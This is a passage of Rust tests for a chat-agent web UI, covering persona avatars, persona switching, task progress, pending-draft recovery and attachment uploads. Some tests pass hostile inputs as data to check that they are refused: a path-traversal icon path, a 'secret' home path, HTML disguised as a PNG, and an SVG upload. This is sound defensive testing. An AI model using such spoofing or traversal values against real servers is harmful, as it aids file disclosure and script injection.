14040 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14041 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14042 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14043 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14044 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14045 uri(&good),
14046 uri(&spoof),
14047 uri(&big),
14048 uri(&missing),
14049 );
14050 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14051
14052 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14053 assert_eq!(
14054 (status, ct.as_str(), nosniff),
14055 (StatusCode::OK, "image/png", true)
14056 );
14057 assert_eq!(body, tiny_png());
14058 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14059 assert_eq!(ct, "image/png", "data URI");
14060
14061 for p in ["misato", "asuka", "shinji", "magi"] {
14062 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14063 assert_eq!(
14064 (status, ct.as_str(), csp),
14065 (StatusCode::OK, "image/svg+xml", true),
14066 "{p}"
14067 );
14068 assert!(body.starts_with(b"<svg"), "{p}");
14069 }
14070 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14072 assert_eq!(ct, "image/svg+xml");
14073 }
14074
14075 #[tokio::test]
14076 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14077 let oversized = format!(
14078 "data:image/png;base64,{}",
14079 "A".repeat(persona_icon::ICON_MAX_BYTES)
14080 );
14081 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14082 let extra = format!(
14083 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14084 );
14085 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14086 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14087 .await
14088 .expect("detail with invalid icon");
14089 assert!(detail.personas.iter().any(|p| p.id == "custom"));
14090 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14091 assert_eq!(status, StatusCode::OK);
14092 assert_eq!(ct, "image/svg+xml");
14093 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14094 let Json(view) = talk_persona(
14095 State(Arc::clone(&ui)),
14096 Path(id.clone()),
14097 Json(TalkPersona {
14098 persona: "custom".into(),
14099 }),
14100 )
14101 .await
14102 .expect("persona switch with invalid icon");
14103 assert_eq!(view.talk.persona, "custom");
14104 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14105 }
14106 }
14107
14108 #[tokio::test]
14109 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14110 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14111 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14112 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14113 assert_eq!(
14114 (status, ct.as_str(), nosniff, csp),
14115 (StatusCode::OK, "image/svg+xml", true, true)
14116 );
14117 }
14118
14119 #[tokio::test]
14120 async fn the_talk_view_carries_server_built_avatar_urls_only() {
14121 let (_t, _h, ui, id, _repo) =
14122 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14123 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14124 .await
14125 .expect("detail");
14126 let json = serde_json::to_string(&detail).unwrap();
14127 assert!(
14128 !json.contains("secret"),
14129 "the icon setting must not leak: {json}"
14130 );
14131 assert!(
14132 detail
14133 .view
14134 .persona_avatar
14135 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14136 );
14137 assert_eq!(
14138 detail.view.operator_avatar,
14139 format!(
14140 "/avatars/operator.svg?v={}",
14141 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14142 )
14143 );
14144 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14145 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14146 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14147 assert!(rei.avatar.contains("persona=rei&v="));
14148 assert_ne!(
14149 rei.avatar.split("&v=").nth(1),
14150 plain.avatar.split("&v=").nth(1)
14151 );
14152 }
14153
14154 #[tokio::test]
14155 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14156 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14157 let cfg = config_for(&repo).await.unwrap();
14158 for arrived in [false, true] {
14159 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14160 let observed = ui.queued_generation(&id);
14161 let talk = ui.talks.get(&id).unwrap();
14162 if arrived {
14163 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14164 }
14165 let mut settling = std::pin::pin!(settle_settings_turn(
14166 talk,
14167 ui.talks.clone(),
14168 cfg.clone(),
14169 id.clone(),
14170 turn,
14171 observed
14172 ));
14173 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14174 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14175 assert_eq!(first.is_pending(), arrived);
14176 if arrived {
14177 assert!(!settling.await);
14178 }
14179 assert!(!ui.is_thinking(&id));
14180 }
14181 }
14182
14183 #[tokio::test]
14184 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14185 let tmp = TempDir::new().expect("tempdir");
14186 let repo = tmp.path().join("repo");
14187 std::fs::create_dir_all(&repo).expect("repo dir");
14188 std::fs::write(
14189 repo.join("magi.toml"),
14190 format!(
14191 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14192 ),
14193 )
14194 .expect("write magi.toml");
14195 let home = TempDir::new().expect("temp home");
14196 let talks = Talks::at(home.path().join("talks"));
14197 let ui = Arc::new(
14198 Ui::new(
14199 Queue::at(home.path().join("queue")),
14200 Questions::at(home.path().join("questions")),
14201 talks.clone(),
14202 home.path().join("runs"),
14203 home.path().to_path_buf(),
14204 repo.clone(),
14205 )
14206 .with_worktrees_root(home.path().join("wt")),
14207 );
14208 let cfg = config_for(&repo).await.expect("discover config");
14209 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14210 let id = talk.id.clone();
14211 let call = |persona: &str| {
14212 talk_persona(
14213 State(Arc::clone(&ui)),
14214 Path(id.clone()),
14215 Json(TalkPersona {
14216 persona: persona.to_owned(),
14217 }),
14218 )
14219 };
14220
14221 let unknown = call("nobody").await.expect_err("unknown persona");
14222 assert_eq!(
14223 unknown.status,
14224 StatusCode::BAD_REQUEST,
14225 "{}",
14226 unknown.message
14227 );
14228
14229 {
14230 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14233 let busy = call("rei").await.expect_err("busy talk");
14234 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14235 assert!(
14236 busy.message.contains("a talk turn is running"),
14237 "{}",
14238 busy.message
14239 );
14240 drop(guard);
14241 }
14242 assert_eq!(talks.get(&id).expect("reload").persona, "");
14243
14244 let Json(view) = call("gendo").await.expect("switch to a configured persona");
14245 assert_eq!(view.talk.persona, "gendo");
14246 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14247 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14248 for chosen in ["default", "gendo", "rei", "gendo"] {
14250 let Json(view) = call(chosen).await.expect("immediate consecutive change");
14251 assert!(!view.thinking);
14252 assert!(!ui.is_thinking(&id));
14253 }
14254
14255 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14256 .await
14257 .expect("detail");
14258 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14259 assert_eq!(ids.first(), Some(&"default"));
14260 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14261
14262 let Json(view) = call("default").await.expect("back to default");
14263 assert_eq!(view.talk.persona, "");
14264
14265 let mut closed = talks.get(&id).expect("reload");
14266 talk::close(&mut closed, &talks).expect("close");
14267 let refused = call("rei").await.expect_err("closed talk");
14268 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14269 assert!(
14270 refused.message.contains("takes no more turns"),
14271 "{}",
14272 refused.message
14273 );
14274 }
14275
14276 #[tokio::test]
14277 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14278 let f = Fixture::start().await;
14279 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14280 let queue = f.queue();
14281 let mut mine = Task::new(
14282 "rename the loader".to_owned(),
14283 "rename the loader".to_owned(),
14284 PathBuf::from("/repo/magi"),
14285 Source::Agent {
14286 run: talk_id.clone(),
14287 node: "chat".to_owned(),
14288 },
14289 );
14290 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14291 assert_eq!(empty["task_progress"]["state"], "none");
14292 assert_eq!(empty["task_progress"]["total"], 0);
14293 queue.put(&mut mine).expect("file the task");
14294 let mut theirs = Task::new(
14295 "unrelated".to_owned(),
14296 "unrelated".to_owned(),
14297 PathBuf::from("/repo/magi"),
14298 Source::Human,
14299 );
14300 theirs.origin_chat = Some(talk_id.clone());
14302 queue.put(&mut theirs).expect("file the task");
14303
14304 let res = f.get(&format!("/api/talks/{talk_id}")).await;
14305 assert_eq!(res.status, 200, "{}", res.body);
14306 let body = res.json();
14307 assert_eq!(
14308 body["status"], "open",
14309 "filing a task does not close a talk"
14310 );
14311 let tasks = body["tasks"].as_array().expect("tasks array");
14312 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14313 assert_eq!(tasks[0]["id"], mine.id);
14314 for status in [
14315 TaskStatus::Queued,
14316 TaskStatus::Running,
14317 TaskStatus::Held,
14318 TaskStatus::Failed,
14319 TaskStatus::Blocked,
14320 TaskStatus::Parked,
14321 TaskStatus::Done,
14322 TaskStatus::Queued,
14323 ] {
14324 mine.status = status;
14325 queue.put(&mut mine).expect("update status");
14326 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14327 let progress = &detail["task_progress"];
14328 assert_eq!(progress["total"], 1);
14329 assert_eq!(progress["counts"][status.as_str()], 1);
14330 assert_eq!(detail["tasks"][0]["status"], status.as_str());
14331 assert_eq!(detail["status"], "open", "completion never closes the chat");
14332 if status == TaskStatus::Done {
14333 assert_eq!(progress["state"], "complete");
14334 assert_eq!(progress["done"], 1);
14335 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14336 } else {
14337 assert_eq!(progress["state"], "incomplete");
14338 assert_eq!(progress["done"], 0);
14339 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14340 }
14341 }
14342 }
14343
14344 #[test]
14345 fn talk_task_progress_counts_mixed_statuses() {
14346 let mut tasks: Vec<_> = [
14347 TaskStatus::Queued,
14348 TaskStatus::Running,
14349 TaskStatus::Held,
14350 TaskStatus::Failed,
14351 TaskStatus::Blocked,
14352 TaskStatus::Parked,
14353 TaskStatus::Done,
14354 ]
14355 .into_iter()
14356 .map(|status| {
14357 let mut task = Task::new(
14358 "task".into(),
14359 "task".into(),
14360 PathBuf::from("/repo"),
14361 Source::Human,
14362 );
14363 task.status = status;
14364 task
14365 })
14366 .collect();
14367 let progress = talk_task_progress(&tasks);
14368 assert_eq!(progress.state, "incomplete");
14369 assert_eq!(progress.total, 7);
14370 assert_eq!(progress.done, 1);
14371 assert_eq!(progress.unfinished_ids.len(), 6);
14372 assert!(progress.counts.values().all(|count| *count == 1));
14373 assert_eq!(
14374 progress.unfinished_ids,
14375 tasks[..6]
14376 .iter()
14377 .map(|task| task.id.clone())
14378 .collect::<Vec<_>>()
14379 );
14380
14381 for task in &mut tasks {
14382 task.status = TaskStatus::Done;
14383 }
14384 let complete = talk_task_progress(&tasks);
14385 assert_eq!(complete.state, "complete");
14386 assert_eq!(complete.done, 7);
14387 assert!(complete.unfinished_ids.is_empty());
14388 tasks[0].status = TaskStatus::Queued;
14389 let requeued = talk_task_progress(&tasks);
14390 assert_eq!(requeued.state, "incomplete");
14391 assert_eq!(requeued.done, 6);
14392 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14393
14394 let empty = talk_task_progress(&[]);
14395 assert_eq!(empty.state, "none");
14396 assert_eq!(empty.total, 0);
14397 assert_eq!(empty.done, 0);
14398 assert!(empty.unfinished_ids.is_empty());
14399 assert!(empty.counts.values().all(|count| *count == 0));
14400 }
14401
14402 #[tokio::test]
14403 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14404 let (_tmp, _repo, f) = talk_fixture().await;
14405 let id = f.post("/api/talks", None).await.json()["id"]
14406 .as_str()
14407 .expect("id")
14408 .to_owned();
14409
14410 let res = f
14411 .post(
14412 &format!("/api/talks/{id}/say"),
14413 Some(r#"{"text":"what does the queue module do?"}"#),
14414 )
14415 .await;
14416 assert_eq!(res.status, 202, "{}", res.body);
14417 let queued = res.json();
14418 let turns = queued["turns"].as_array().expect("turns array");
14419 assert_eq!(
14420 turns.len(),
14421 1,
14422 "the answer reflects only what is on disk the instant it is sent, \
14423 before the agent's turn - which can run for the whole of \
14424 `[graph] timeout_talk` - has a chance to land: {queued}"
14425 );
14426 assert_eq!(turns[0]["who"], "operator");
14427 assert_eq!(turns[0]["body"], "what does the queue module do?");
14428 assert_eq!(
14429 queued["thinking"], true,
14430 "the accepted response exposes the background turn claim: {queued}"
14431 );
14432
14433 let mut turns_after = 1;
14434 for _ in 0..SETTLE_STEPS {
14435 let detail = f.get(&format!("/api/talks/{id}")).await.json();
14436 turns_after = detail["turns"].as_array().expect("turns array").len();
14437 if turns_after == 2 {
14438 break;
14439 }
14440 tokio::time::sleep(Duration::from_millis(10)).await;
14441 }
14442 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14443 }
14444
14445 #[tokio::test]
14472 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14473 let tmp = TempDir::new().expect("tempdir");
14474 let repo = tmp.path().join("repo");
14475 std::fs::create_dir_all(&repo).expect("repo dir");
14476 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14477 let home = TempDir::new().expect("temp home");
14478 let talks = Talks::at(home.path().join("talks"));
14479 let ui = Arc::new(
14480 Ui::new(
14481 Queue::at(home.path().join("queue")),
14482 Questions::at(home.path().join("questions")),
14483 talks.clone(),
14484 home.path().join("runs"),
14485 home.path().to_path_buf(),
14486 repo.clone(),
14487 )
14488 .with_worktrees_root(home.path().join("wt")),
14489 );
14490 let cfg = config_for(&repo).await.expect("discover config");
14491
14492 for delay in 0..40u32 {
14493 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14494 let id = talk.id.clone();
14495
14496 let handler = tokio::spawn(talk_say(
14497 State(Arc::clone(&ui)),
14498 Path(id.clone()),
14499 Ok(Json(NewTalkTurn {
14500 reply_to: None,
14501 text: "what does the queue module do?".to_owned(),
14502 attachments: Vec::new(),
14503 })),
14504 ));
14505 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14506 handler.abort();
14507 let _ = handler.await;
14510
14511 let mut turns = 0;
14512 for _ in 0..SETTLE_STEPS {
14513 if let Ok(fresh) = talks.get(&id) {
14514 turns = fresh.turns.len();
14515 if turns != 1 {
14516 break;
14517 }
14518 }
14519 tokio::time::sleep(Duration::from_millis(10)).await;
14520 }
14521 assert_ne!(
14522 turns, 1,
14523 "delay {delay}: talk {id} recorded the operator's turn but \
14524 the agent never answered - the reply task was never \
14525 started after the handler future was dropped"
14526 );
14527 }
14528 }
14529
14530 #[tokio::test]
14575 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14576 let tmp = TempDir::new().expect("tempdir");
14577 let repo = tmp.path().join("repo");
14578 std::fs::create_dir_all(&repo).expect("repo dir");
14579 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14580 let home = TempDir::new().expect("temp home");
14581 let talks = Talks::at(home.path().join("talks"));
14582 let ui = Arc::new(
14583 Ui::new(
14584 Queue::at(home.path().join("queue")),
14585 Questions::at(home.path().join("questions")),
14586 talks.clone(),
14587 home.path().join("runs"),
14588 home.path().to_path_buf(),
14589 repo.clone(),
14590 )
14591 .with_worktrees_root(home.path().join("wt")),
14592 );
14593 let cfg = config_for(&repo).await.expect("discover config");
14594
14595 for attempt in 0..3u32 {
14596 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14597 let id = talk.id.clone();
14598 let turn_guard = ui
14601 .begin_talk_turn(&id)
14602 .expect("claim the turn")
14603 .expect("a fresh talk owes nobody a turn");
14604
14605 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
14606 let (release_tx, release_rx) = std::sync::mpsc::channel();
14607 ui.set_busy_queue_gate(BusyQueueGate {
14608 reached: reached_tx,
14609 release: release_rx,
14610 });
14611
14612 let handler = tokio::spawn(talk_say(
14613 State(Arc::clone(&ui)),
14614 Path(id.clone()),
14615 Ok(Json(NewTalkTurn {
14616 reply_to: None,
14617 text: "what does the queue module do?".to_owned(),
14618 attachments: Vec::new(),
14619 })),
14620 ));
14621
14622 tokio::time::timeout(Duration::from_secs(5), reached_rx)
14627 .await
14628 .unwrap_or_else(|_| {
14629 panic!(
14630 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
14631 )
14632 })
14633 .expect("the busy branch dropped the gate without using it");
14634
14635 let running = talks.get(&id).expect("reload talk");
14642 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
14643
14644 handler.abort();
14648 let _ = handler.await;
14649
14650 let _ = release_tx.send(());
14656
14657 let mut fresh = talks.get(&id).expect("reload talk");
14660 for _ in 0..SETTLE_STEPS {
14661 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
14662 break;
14663 }
14664 tokio::time::sleep(Duration::from_millis(10)).await;
14665 fresh = talks.get(&id).expect("reload talk");
14666 }
14667 assert!(
14668 fresh.pending.is_empty() && fresh.turns.len() == 2,
14669 "attempt {attempt}: talk {id} left the operator's text queued \
14670 with no drainer - the reclaimed turn was dropped along with \
14671 the handler future (pending {:?}, {} turns)",
14672 fresh.pending,
14673 fresh.turns.len()
14674 );
14675 }
14676 }
14677
14678 #[tokio::test]
14679 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
14680 let (_tmp, _repo, f) = talk_fixture().await;
14681 let id = f.post("/api/talks", None).await.json()["id"]
14682 .as_str()
14683 .expect("id")
14684 .to_owned();
14685 let store = f.talks();
14686 let mut recovered = store.get(&id).expect("opened talk");
14687 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14688 .expect("persist pending draft without a live turn");
14689
14690 let edited = f
14691 .post(
14692 &format!("/api/talks/{id}/pending/edit"),
14693 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
14694 )
14695 .await;
14696 assert_eq!(edited.status, 200, "{}", edited.body);
14697 assert!(edited.json()["thinking"].as_bool().unwrap());
14698
14699 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
14700 for _ in 0..SETTLE_STEPS {
14701 if detail["turns"].as_array().expect("turns").len() == 2 {
14702 break;
14703 }
14704 tokio::time::sleep(Duration::from_millis(10)).await;
14705 detail = f.get(&format!("/api/talks/{id}")).await.json();
14706 }
14707 let turns = detail["turns"].as_array().expect("turns");
14708 assert_eq!(
14709 turns.len(),
14710 2,
14711 "the recovered draft must run once: {detail}"
14712 );
14713 assert_eq!(turns[0]["body"], "corrected");
14714 assert_eq!(detail["pending"], "");
14715 }
14716
14717 #[tokio::test]
14718 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
14719 let tmp = TempDir::new().expect("tempdir");
14720 let repo = tmp.path().join("repo");
14721 std::fs::create_dir_all(&repo).expect("repo dir");
14722 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14723 let f = Fixture::with_repo(repo).await;
14724 let id = f.post("/api/talks", None).await.json()["id"]
14725 .as_str()
14726 .expect("id")
14727 .to_owned();
14728 let store = f.talks();
14729 let mut recovered = store.get(&id).expect("opened talk");
14730 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14731 .expect("persist pending draft without a live turn");
14732
14733 let refused = f
14734 .post(
14735 &format!("/api/talks/{id}/say"),
14736 Some(r#"{"text":"new message"}"#),
14737 )
14738 .await;
14739 assert_eq!(refused.status, 409, "{}", refused.body);
14740 assert!(refused.body.contains("resume"), "{}", refused.body);
14741 let saved = store.get(&id).expect("draft remains after refusal");
14742 assert!(saved.turns.is_empty());
14743 assert_eq!(saved.pending, "saved before restart");
14744
14745 let say_path = format!("/api/talks/{id}/say");
14746 let (first, second) = tokio::join!(
14747 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
14748 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
14749 );
14750 assert_eq!(first.status, 409, "{}", first.body);
14751 assert_eq!(second.status, 409, "{}", second.body);
14752 let saved = store
14753 .get(&id)
14754 .expect("draft remains after concurrent refusals");
14755 assert!(saved.turns.is_empty());
14756 assert_eq!(saved.pending, "saved before restart");
14757
14758 let resumed = f
14759 .post(&format!("/api/talks/{id}/pending/resume"), None)
14760 .await;
14761 assert_eq!(resumed.status, 202, "{}", resumed.body);
14762 let duplicate = f
14763 .post(&format!("/api/talks/{id}/pending/resume"), None)
14764 .await;
14765 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
14766
14767 for _ in 0..SETTLE_STEPS {
14768 if store.get(&id).expect("talk").turns.len() == 2 {
14769 break;
14770 }
14771 tokio::time::sleep(Duration::from_millis(10)).await;
14772 }
14773 let finished = store.get(&id).expect("finished talk");
14774 assert_eq!(finished.turns.len(), 2, "{finished:?}");
14775 assert_eq!(finished.turns[0].body, "saved before restart");
14776 assert!(finished.pending.is_empty());
14777 }
14778
14779 #[tokio::test]
14780 async fn an_image_only_recovered_draft_resumes_without_text() {
14781 let (_tmp, _repo, f) = talk_fixture().await;
14782 let id = f.post("/api/talks", None).await.json()["id"]
14783 .as_str()
14784 .expect("id")
14785 .to_owned();
14786 let uploaded = f
14787 .post_bytes(
14788 &format!("/api/talks/{id}/attachments"),
14789 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
14790 PNG_BYTES,
14791 )
14792 .await;
14793 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
14794 let attachment = f
14795 .talks()
14796 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
14797 .expect("attachment metadata")
14798 .expect("stored attachment");
14799 let store = f.talks();
14800 let mut recovered = store.get(&id).expect("opened talk");
14801 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
14802
14803 let resumed = f
14804 .post(&format!("/api/talks/{id}/pending/resume"), None)
14805 .await;
14806 assert_eq!(resumed.status, 202, "{}", resumed.body);
14807 for _ in 0..SETTLE_STEPS {
14808 if store.get(&id).expect("talk").turns.len() == 2 {
14809 break;
14810 }
14811 tokio::time::sleep(Duration::from_millis(10)).await;
14812 }
14813 let finished = store.get(&id).expect("finished talk");
14814 assert_eq!(finished.turns.len(), 2, "{finished:?}");
14815 assert!(finished.turns[0].body.is_empty());
14816 assert_eq!(finished.turns[0].attachments.len(), 1);
14817 assert!(finished.pending_attachments.is_empty());
14818 }
14819
14820 #[tokio::test]
14821 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
14822 let (_tmp, _repo, f) = talk_fixture().await;
14823 let id = f.post("/api/talks", None).await.json()["id"]
14824 .as_str()
14825 .expect("id")
14826 .to_owned();
14827 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14828 assert_eq!(closed.status, 200, "{}", closed.body);
14829 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14830 .expect("serialize closed talk");
14831 for (path, body) in [
14832 (format!("/api/talks/{id}/pending/resume"), None),
14833 (
14834 format!("/api/talks/{id}/pending/clear"),
14835 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
14836 ),
14837 (
14838 format!("/api/talks/{id}/pending/edit"),
14839 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
14840 ),
14841 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
14842 ] {
14843 let response = f.post(&path, body).await;
14844 assert_eq!(response.status, 409, "{}", response.body);
14845 }
14846 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14847 .expect("serialize closed talk");
14848 assert_eq!(
14849 after_clear, before_clear,
14850 "clear must not rewrite a closed talk"
14851 );
14852 }
14853
14854 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
14857
14858 #[tokio::test]
14859 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
14860 let tmp = TempDir::new().expect("tempdir");
14861 let repo = tmp.path().join("repo");
14862 std::fs::create_dir_all(&repo).expect("repo dir");
14863 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14864 let f = Fixture::with_repo(repo).await;
14865 let id_a = f.post("/api/talks", None).await.json()["id"]
14866 .as_str()
14867 .unwrap()
14868 .to_owned();
14869 let id_b = f.post("/api/talks", None).await.json()["id"]
14870 .as_str()
14871 .unwrap()
14872 .to_owned();
14873
14874 let a = f
14875 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
14876 .await;
14877 assert_eq!(a.status, 202, "{}", a.body);
14878 assert_eq!(a.json()["thinking"], true);
14879 let b = f
14880 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
14881 .await;
14882 assert_eq!(b.status, 202, "{}", b.body);
14883 assert_eq!(b.json()["thinking"], true);
14884
14885 let listed = f.get("/api/talks").await.json();
14886 for id in [&id_a, &id_b] {
14887 let view = listed
14888 .as_array()
14889 .unwrap()
14890 .iter()
14891 .find(|talk| talk["id"] == *id)
14892 .unwrap();
14893 assert_eq!(view["thinking"], true, "{listed}");
14894 }
14895 let repeated = f
14896 .post(
14897 &format!("/api/talks/{id_a}/say"),
14898 Some(r#"{"text":"again"}"#),
14899 )
14900 .await;
14901 assert_eq!(repeated.status, 202, "{}", repeated.body);
14902 assert_eq!(repeated.json()["pending"], "again");
14903 }
14904
14905 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
14908
14909 #[tokio::test]
14910 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
14911 let f = Fixture::start().await;
14912 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
14913
14914 let res = f
14915 .post_bytes(
14916 &format!("/api/talks/{id}/attachments"),
14917 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
14918 PNG_BYTES,
14919 )
14920 .await;
14921 assert_eq!(res.status, 201, "{}", res.body);
14922 let body = res.json();
14923 assert_eq!(body["name"], "shot.png");
14924 assert_eq!(body["mime"], "image/png");
14925 assert_eq!(body["bytes"], PNG_BYTES.len());
14926 let att_id = body["id"].as_str().expect("id").to_owned();
14927 assert_eq!(
14928 att_id.len(),
14929 32,
14930 "the id must never be a client-suppliable path: {att_id}"
14931 );
14932
14933 let got = f
14934 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
14935 .await;
14936 assert_eq!(got.status, 200, "{}", got.body);
14937 assert_eq!(got.header("content-type"), Some("image/png"));
14938 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
14939 assert_eq!(got.bytes, PNG_BYTES);
14940 }
14941
14942 #[tokio::test]
14943 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
14944 let f = Fixture::start().await;
14945 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
14946
14947 let svg = f
14950 .post_bytes(
14951 &format!("/api/talks/{id}/attachments"),
14952 &[("Content-Type", "image/svg+xml")],
14953 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
14954 )
14955 .await;
14956 assert!(
14957 (400..500).contains(&svg.status),
14958 "svg must be refused: {} {}",
14959 svg.status,
14960 svg.body
14961 );
14962 assert!(svg.body.contains("SVG"), "{}", svg.body);
14963
14964 let text = f
14965 .post_bytes(
14966 &format!("/api/talks/{id}/attachments"),
14967 &[("Content-Type", "text/plain")],
14968 b"just some text",
14969 )
14970 .await;
14971 assert!(
14972 (400..500).contains(&text.status),
14973 "an unlisted type must be refused: {} {}",
14974 text.status,
14975 text.body
14976 );
14977
14978 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
14981 let big = f
14982 .post_bytes(
14983 &format!("/api/talks/{id}/attachments"),
14984 &[("Content-Type", "image/png")],
14985 &oversized,
14986 )
14987 .await;
14988 assert_eq!(
14989 big.status,
14990 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
14991 "{}",
14992 big.body
14993 );
14994 }
14995
14996 #[tokio::test]
14997 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
14998 let f = Fixture::start().await;
14999 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15000
15001 let res = f
15004 .post_bytes(
15005 &format!("/api/talks/{id}/attachments"),
15006 &[("Content-Type", "image/png")],
15007 b"<html>not a picture</html>",
15008 )
15009 .await;
15010 assert!((400..500).contains(&res.status), "{}", res.body);
15011 }
15012
15013 #[tokio::test]
15014 async fn an_unknown_attachment_id_is_a_404() {
15015 let f = Fixture::start().await;
